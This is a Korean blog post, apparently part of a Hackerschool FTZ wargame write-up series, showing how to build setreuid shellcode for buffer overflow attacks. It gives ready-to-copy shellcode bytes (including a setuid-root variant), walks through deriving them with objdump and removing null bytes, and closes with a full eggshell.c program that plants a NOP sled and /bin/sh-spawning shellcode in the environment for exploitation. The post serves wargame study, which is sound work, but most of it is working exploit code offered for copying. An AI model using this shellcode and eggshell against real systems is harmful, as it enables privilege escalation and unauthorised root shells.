일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 성남은혜의강교회
- 스페인 코로나
- 불가피
- 유튜버 김재석
- 이태원 클라쓰 15회 예고
- 학교 개학 연기 4월
- 리리남매
- 김영권
- 이지혜
- 제넥신
- 해킹
- 고민정
- 양적완화
- 이상형 만들기
- 임영규
- 홍혜걸
- 최강욱
- 은혜의 강 교회
- 김영권 아내
- 폰폰테스트
- 금리인하
- 스콜피온킹
- 조희연
- libtins
- 픽크루
- 김재석
- 미국 금리인하
- 뭉쳐야 찬다
- 성남 코로나 확진자
- 킹덤 고근희
- Today
- Total
Dork's port
SetUID를 포함한 Shellcode(쉘코드) 작성하기 본문
안녕하세요.
오늘은 SetUID를 포함한 쉘코드를 만들어 보려고 합니다.
구글에 있는 대부분의 쉘코드는 /bin/sh을 execve하는 쉘코드가 많은데요.
FTZ를 풀다보니 SetUID를 직접 코드에 삽입하여 BOF를 해야 하는 경우가 있어서 포스팅 합니다.
우선, 코드를 먼저 보여드리고 설명을 나중에 할테니 코드가 필요하신 분은 복사하여 사용하시길 바랍니다.
char shellcode[]="\x66\xb8\x1c\x0c\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
void main(){ __asm__ __volatile__( "xor %eax,%eax \n\t" "mov $0xc1c,%ax \n\t" "mov %eax,%ebx \n\t" "mov %eax, %ecx \n\t" "xor %eax,%eax \n\t" "mov $0x46,%al \n\t" "int $0x80 \n\t" ); }
SetUID를 0(root)으로 하실 경우 쉘코드의 오류 및 null이 들어갈 수 있습니다. SetUID를 0으로 하는 코드는 아래를 참조 바랍니다.void main(){ __asm__ __volatile__( "xor %eax,%eax \n\t" "mov %eax,%ecx \n\t" "mov %eax,%ebx \n\t" "mov $0x46,%al \n\t" "int $0x80 \n\t" ); }char shellcode[] = "\x31\xc0\x89\xc1\x89\xc2\xb0\x46\xcd\x80"
자 그러면 같이 쉘코드를 한번 만들어 보도록 하겠습니다.
SetUID가 어떤 식으로 동작하는지 먼저 알기 위해 간단한 아래의 소스코드를 작성 하였습니다.
//setuidTest.c #include <unistd.h> int main() { setreuid(3100,3100); return 0; }
자 그럼 이 소스 코드가 어떻게 기계어로 바뀌는지 보도록 할까요??
아래의 명령어를 통해 디버깅 옵션 및 static 옵션을 주어 컴파일을 합니다.
$ gcc -static -g -o setuidTest setuidTest.c
static 옵션이란 ? 쉽게 말해 시스템에서 가져다 쓰는 함수를 직접 작성한 코드에 포함시키겠다는 내용입니다.(참조가 아닌 삽입의 개념).
Dynamic Link Library & Static Link Library
리눅스 뿐만 아니라 윈도우즈, 솔라리스 등등 대부분의 운영체제들이 Dynamic LinkLibrary와 Static Link Library를 지원하고 또한 대부분의 컴파일러들이 이를 지원한다. Dynamic Link Library는 우리말로는 동적 링크 라이브러리라고 해석되고 있다. 응용프로그 램의 실행에 있어서 실제 프로그램의 동작에는 매우 많은 명령들이 사용된다. 그리고 많은 응용프로그램들이 공통적으로 사용하는 명령어들이 있다. 예를 들어 C언어에서 사용하는 printf()함수는 어떤 문자열을 출력하는 함수이다. 이는 문자열을 받아서 특정한 위치의 값들 을 채운 다음에 화면이나 표준 출력, 소리 등의 방법으로 출력할 것이다. 이러한 일을 수행 하는 기계어 코드가 어떤 형태로 만들어져 있을 것이다. 가령 ‘ps’라는 프로그램도 printf() 함수를 사용하여 화면에 출력할 것이다. 또한 ‘cat’이라는 프로그램도 printf()함수를 사용할 것이다. 그런데 ‘ps’도 printf()기능의 기계어 코드를 포함하고 있고 ‘cat’도 printf()기능의 기 계어 코드를 포함하고 있다면 같은 기능을 하는 기계어 코드가 서로 다른 실행파일에 모두 포함되어 있게 되는 것이다. 저장 공간의 낭비가 아닐 수 없다. 그래서 운영체제에는 이렇 게 많이 사용되는 함수들의 기계어 코드를 자신이 가지고 있고 다른 프로그램들이 이 기능 을 빌려 쓰게 해 준다. 그래서 ‘ps’도 ‘cat’도 printf() 기계어 코드를 직접 가지고 있지 않고 printf() 코드가 필요할 때에는 운영체제에게 이 기능을 쓰겠다라고 해 주면 그 코드를 빌려 주는 것이다. 따라서 응용프로그램 프로그래머는 이 기능을 직접 구현할 필요가 없고 그냥 호출만 해 주면 되는 것이고 컴파일러도 직접 컴파일 할 필요 없이 호출하는 기계어 코드만 생성해 주면 된다. 이러한 기능들은 라이브러리라고 하는 형태로 존재하고 있으며 리눅스에 서는 libc라는 라이브러리에 들어있고 실제 파일로는 .so 혹은 .a라는 확장자를 가진 형태 로 존재한다. 윈도우즈에서는 DLL(Dynamic Link Library) 파일로 존재하게 된다. 하지만 운 영체제의 버전과 libc의 버전에 따라 호출 형태나 링크 형태가 달라질 수 있기 때문에 이제 영향을 받지 않기 위해서 printf() 기계어 코드를 실행파일이 직접 가지고 있게 할 수 있는
35
데 그 방법이 Static Link Library이다. 다만 Dynamic Link Library 방식보다 실행파일의 크기 가 당연히 커 질것이다. 윈도우즈용 응용프로그램에서 실행 파일을 실행 했는데 무슨 무슨 DLL 파일을 찾을 수 없다는 에러메시지를 띄우면서 실행하지 않는 경우를 봤을 것이다. 이 것은 Dynamic Link Library 형태의 프로그램인데 필요한 기계어 코드가 있는 라이브러리를 찾지 못했다는 뜻이다. 또는 응용프로그램을 설치했는데 DLL 파일을 필요로 하지 않고 달 랑 실행파일 하나만 있는 프로그램의 경우는 대부분 Static Link Library 형태의 프로그램인 것이다.
인용 : buffer_overflow_foundation_pub
(grayfieldbox.tistory.com/attachment/cfile2.uf@244247475688E8812F0CA8.pdf)
그리고 아래의 명령어로 기계어로 어떻게 변환 되는지 확인합니다.
$ objdump -d setuidTest | grep \<__setreuid\>: -A 28
0804df48 <__setreuid>:
804df48: 55 push %ebp
804df49: a1 90 35 0a 08 mov 0x80a3590,%eax
804df4e: 89 e5 mov %esp,%ebp
804df50: 85 c0 test %eax,%eax
804df52: 56 push %esi
804df53: 53 push %ebx
804df54: 7e 5a jle 804dfb0 <__setreuid+0x68>
804df56: 8b 45 08 mov 0x8(%ebp),%eax
804df59: 40 inc %eax
804df5a: 3d ff ff 00 00 cmp $0xffff,%eax
804df5f: 77 0b ja 804df6c <__setreuid+0x24>
804df61: 8b 45 0c mov 0xc(%ebp),%eax
804df64: 40 inc %eax
804df65: 3d ff ff 00 00 cmp $0xffff,%eax
804df6a: 76 14 jbe 804df80 <__setreuid+0x38>
804df6c: e8 83 a6 ff ff call 80485f4 <__errno_location>
804df71: c7 00 16 00 00 00 movl $0x16,(%eax)
804df77: b8 ff ff ff ff mov $0xffffffff,%eax
804df7c: 5b pop %ebx
804df7d: 5e pop %esi
804df7e: c9 leave
804df7f: c3 ret
804df80: 8b 45 08 mov 0x8(%ebp),%eax
804df83: 8b 4d 0c mov 0xc(%ebp),%ecx
804df86: 53 push %ebx
804df87: 89 c3 mov %eax,%ebx
804df89: b8 46 00 00 00 mov $0x46,%eax
804df8e: cd 80 int $0x80
위의 코드와 같이 출력된 걸 볼 수 있습니다.
가장 먼저 찾아야 할 것은 함수를 사용할 때에 인자값을 처리하는 부분을 찾아야 합니다.
인수 값은 Stack을 통해 push의 형태로 전달 하므로 ebp보다 높은 주소를 가지게 됩니다.(스택에 먼저 쌓여있다).
그러면 아래의 주소가 눈에 들어 올텐데요.
804df56: 8b 45 08 mov 0x8(%ebp),%eax
ebp에서 부터 +8만큼 떨어저 있는 주소의 값을 eax로 옮긴다. 즉, 이때 어떠한 인자 값을 eax에 (사용하기 위해서)복사하는 것을 볼 수 있습니다.
그리고 밑에 어셈블리 코드를 보면 어떠한 예외처리를 한다. 그중 눈에 띄는 것은 바로 아래의 코드입니다.
어떠한 어셈블리 코드가 정상적으로 동작하는 루틴에 대해서는 해당 어셈블리를 따라가서 직접 해당 코드를 보시거나 비교 연산을 보고 감으로 예측하는 수 밖에 없습니다. 이 부분에 대해 자세히 설명 드리지 못해 죄송합니다(저도 많이 부족해요).
804df6a: 76 14 jbe 804df80 <__setreuid+0x38>
특정 조건이 맞으면(비교 연산 결과가 작거나 같으면 즉, eax가 0xffff보다 같거나 작으면) 804df80주소로 가게 되어있습니다.
그럼 그 주소를 가보도록 할까요?
804df80: 8b 45 08 mov 0x8(%ebp),%eax
804df83: 8b 4d 0c mov 0xc(%ebp),%ecx
804df86: 53 push %ebx
804df87: 89 c3 mov %eax,%ebx
804df89: b8 46 00 00 00 mov $0x46,%eax
804df8e: cd 80 int $0x80
이는 시스템에 인터럽트를 거는 명령어로 특정한 값에 따라 어떠한 명령을 실행할 때 사용하는 명령어 입니다!
그럼 이를 통해서 우리는 804df80 위치에 있는 코드가 정상적인 코드라는 것을 추측 할 수 있습니다.
코드를 살펴보면 인수 을 eax, ecx에 저장하고 ebx를 push(backup)한 후 ebx에 eax(인수)를 저장하고 eax에는 0x46이라는 값을 넣고 인터럽트 명령어를 실행시킵니다.
정리하면
함수가 실행(int $0x80)되기 전에 각각 아래의 값들로 초기화가 되어 있어야 합니다.
eax = 0x46
ebx = Argument1를 저장하는 Parameter
ecx = Argumnet2를 Parameter
그러면 이를 이용해서 소스코드를 작성 해 보도록 하겠습니다.
//shTest.c void main(){ __asm__ __volatile__( "mov $0xc1c,%ecx \n\t" "mov %ecx,%ebx \n\t" "mov $0x46,%eax \n\t" "int $0x80 \n\t" ); }
$ gcc -static -g -o shTest shTest.c
$ objdump -d shTest | grep \<main\>: -A 14
그러면 아래와 같은 코드를 볼 수 있습니다.
080481d0 <main>:
80481d0: 55 push %ebp
80481d1: 89 e5 mov %esp,%ebp
80481d3: 83 ec 08 sub $0x8,%esp
80481d6: 83 e4 f0 and $0xfffffff0,%esp
80481d9: b8 00 00 00 00 mov $0x0,%eax
80481de: 29 c4 sub %eax,%esp
80481e0: b9 1c 0c 00 00 mov $0xc1c,%ecx
80481e5: 89 cb mov %ecx,%ebx
80481e7: b8 46 00 00 00 mov $0x46,%eax
80481ec: cd 80 int $0x80
80481ee: c9 leave
80481ef: c3 ret
빨간색으로 강조외어있는 코드를 보시면 우리가 작성한 코드가 정상적으로 기계어로 컴파일 되었고, 배경으로 강조외어 있는 부분이 기계어 부분입니다.
저 부분을 16진수의 형태로 shellcode로 작성하면 됩니다.
그러나, 여기서 주목하셔야 할 점은 00과 같이 기계어에 NULL이 들어가는 경우 우리가 의도하는 BOF공격에 있어서 동작하지 않을 확률이 높습니다.
BOF는 NULL로 길이의 끝을 Check하는 함수가 대부분 이기 때문입니다.
그러면 우리는 NULL을 사용하지 않기 위해 0이라는 값 대신 xor을 이용하고 바이트 형식에 맞게 레지스터에 값을 넣어주면 저러한 00과 같은 기계어가 사라지게 됩니다.
따라서 코드를 재 작성해 보면 처음에 보여드린 바와 같이 아래와 같이 작성 할 수 있습니다.
void main(){ __asm__ __volatile__( "xor %eax,%eax \n\t" "mov $0xc1c,%ax \n\t" "mov %eax,%ebx \n\t" "mov %eax, %ecx \n\t" "xor %eax,%eax \n\t" "mov $0x46,%al \n\t" "int $0x80 \n\t" ); }
이것을 기계어로 바꾸면 아래와 같습니다.
char shellcode[]="\x66\xb8\x1c\x0c\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
이것을 기존의 eggshell코드와 결합하면 SetUID와 동시에 쉘이 실행되는 쉘코드를 작성하실 수 있습니다.
코드에 SetUID가 작성되지 않더라도 파일에 SetUID(rws)가 설정되어 있으면 해당 프로그램의 권한을 획득할 수 있습니다.
아래는 eggshell과 합친 쉘 코드 입니다.
//eggshell.c #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x66\xb8\x1c\x0c\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) { if(i == 1040) { *(addr_ptr++) = 0x1234567; } else *(addr_ptr++) = addr; } ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); }
//env.c #include <stdio.h> int main() { printf("Addr = %p\n", getenv("EGG")); }
쉘코드 참조 : http://hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&page=39&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=subject&desc=asc&no=1939
'Hackerschool FTZ Write-up' 카테고리의 다른 글
FTZ Level5 Write-up(FTZ Level5 풀이) (0) | 2018.03.22 |
---|---|
FTZ Level4 Write-up(FTZ Level4 풀이) (2) | 2018.03.22 |
FTZ Level3 Write-up(FTZ Level3 풀이) (0) | 2018.03.22 |
FTZ Level2 Write-up(FTZ Level2 풀이) (0) | 2018.03.22 |
FTZ Level1 Write-up(FTZ Level1 풀이) (0) | 2018.01.09 |